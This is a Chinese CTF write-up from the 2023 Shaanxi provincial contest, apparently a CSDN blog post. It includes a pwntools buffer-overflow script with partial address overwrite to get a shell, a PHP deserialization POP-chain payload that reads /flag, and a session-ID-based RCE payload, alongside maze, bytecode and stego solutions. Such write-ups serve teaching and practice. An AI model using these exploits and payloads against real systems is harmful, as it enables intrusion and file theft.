2023-陕西省赛-部分题目wp

本文是Valhalla战队WriteUp,涵盖pwn、web、reverse、misc、blockchain等方面解题思路。如pwn题利用溢出漏洞和gadget手动爆破getshell;web题涉及base64解码、利用垃圾回收机制构造POP链等;reverse题有迷宫解密和python字节码审计等。

Valhalla战队WriteUp

解题思路

pwn

陕西游玩

在这里插入图片描述

除了canary保护全开

看看ida

shift f12看看有东西

在这里插入图片描述

发现有sh,交叉引用一下发现有后门

在这里插入图片描述

在这里插入图片描述

反编译之后实际上就是xi_an那个函数把1放在了var4里面然后把var4和0比,如果相同就执行后门,这显然是不可能的,我们也无法使这个条件通过,毕竟text不可能更改

看一下main函数

在这里插入图片描述

先输入字符串然后atoi转一下进switch对应的函数

在这里插入图片描述

比较明显的溢出漏洞

在这里插入图片描述

这个函数就没有洞

xi_an就是那个后门函数,应该是嵌入汇编写的,所以反汇编c里面什么也没有

在这里插入图片描述

因为那个后门不可能通过条件符合调用sys sh,所以直接用这段gadget就行了

在这里插入图片描述

因为开了pie,所以低三位是29a,但是传数据不可能传一半,所以就假定那半字节是5,然后部分地址写就行了,虽然那半字节不一定第一次就是5,但是每次nc上去的地址重加载就会刷新,总有一次恰好那半字节就是我们设置的5,理论每次都会有1/16的概率getshell,手动爆破一下即可

payload:

from pwn import*
p=remote('121.196.192.181',10001 )
#p=process('./pwn')
#p=gdb.debug('./pwn')
context(arch='amd64',log_level = 'debug',os = 'linux')
p.sendafter(":","1")
payload= 'a'*0x28 +"\x9a"+"\x52"
p1=payload
p.sendafter("tain",p1)
p.interactive()

getshell

在这里插入图片描述

web

pop

在这里插入图片描述

base64解码得

在这里插入图片描述

进行一个访问

然后搓EXP

在这里插入图片描述

然后利用垃圾回收机制,

以下是我在csdn上找到的博客
利用PHP垃圾回收机制构造POP链

在这里插入图片描述

然后发现传参不正确,复制下来发现有Unicode操作符,于是尝试编码后传参

payload:

%E2%80%AE%E2%81%A6%E5%BF%AB%E7%BB%99%E6%88%91%E4%BC%A0%E5%8F%82%E2%81%A9%E2%81%A6pop=O:5:“night”:2:{s:5:“night”;O:3:“day”:1:{s:3:“day”;O:4:“dark”:1:{s:4:“dark”;O:5:“light”:1:{s:5:“light”;O:3:“day”:1:{s:3:“day”;O:4:“dark”:1:{s:4:“dark”;s:54:“php://filter/read=convert.base64-encode/resource=/flag”;}}}}}}

ezrce

先随便点点,发现第二个submit的时候有源码,然后进行审计,发现是preg_replace /e的命令执行问题,然后进行一个命令执行,记得要给name赋值hahaha进行匹配,但因为我没有读出waf.php,于是只能盲打,大概看了看,猜测是无参rce

于是想到buu之前做过一个类似的题,禁止套娃,于是尝试利用PHPSESSID进行命令执行,

qaq=show_source(session_id(session_start()))&name=hahaha

再设置cookie,并设置PHPSESSID的为/flag,于是就

在这里插入图片描述

unserialize

试了很久的反序列化,最后直接发现可以eval那里走,尝试了很多最后都被waf了,尝试了system不是很行,联想到前几天学长讲过system,passthru,exec函数的辨析就尝试用passthru,但不对,于是随后又去尝试用system,偶然打了多一个空格发现有回显,于是尝试接着命令执行

在这里插入图片描述

reverse

我的upx -d怎么坏了

直接用x32dbg打开。

在这里插入图片描述

F9运行到出现输入要求。

在这里插入图片描述

右键搜索字符串。

在这里插入图片描述

发现迷宫,上下左右分别为:U、D、L、R。

在这里插入图片描述

对迷宫进行排列,结果如下:

在这里插入图片描述

最短距离的走法为:RRRDRRURRRRRRDDDDRDDD

对其进行MD5加密后结果为:ae2de0be8285f69db701d4dba8721a40

包上flag提交即可。

babypython

打开txt文档后发现是python字节码,对字节码进行审计然后写出主要源码。

在这里插入图片描述

主要源码如下:

import base64
flag = '************************************'
value = ''
output = ''
for i in range(0,len(flag)):
    temp = flag[i]
    temp = chr(ord(temp) ^ 8)
    value += temp
for i in range(len(flag)):
    temp = value[i]
    temp = chr(ord(temp) + 3)
    output += temp
obfuscated_output = base64.b64encode(output.encode()).decode()
obfuscated_output = obfuscated_output[::-1]
obfuscated_output.replace('g','1')
obfuscated_output.replace('H','3')
obfuscated_output.replace('W','9')
print(obfuscated_output)
#=1nb0A3b7AUQwB3b84mQ/E0MvJUb+EXbx5TQwF3bt52bAZncsd9c

审计源码写出exp:

import base64
key = '=1nb0A3b7AUQwB3b84mQ/E0MvJUb+EXbx5TQwF3bt52bAZncsd9c'
value = ''
flag = ''
key = key.replace('9','W')
key = key.replace('3','H')
key = key.replace('1','g')
key = key[::-1]
print(key)
ouput = base64.b64decode(key)
for i in range(len(ouput)):
    temp = ouput[i]
    temp = chr(temp - 3)
    value += temp
for i in range(len(value)):
    temp = value[i]
    temp = chr(ord(temp) ^ 8)
    flag += temp
print(flag)

misc

管道

看到lsb,拖到zsteg里一把梭,就是找的人头疼

在这里插入图片描述

blockchain

被销毁的flag

在这里插入图片描述

在这里插入图片描述

发现源码,进行一个解码

搜索flag的十六进制码,发现存在,于是进行解码并删除中间的文字,于是就可以拿到flag

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值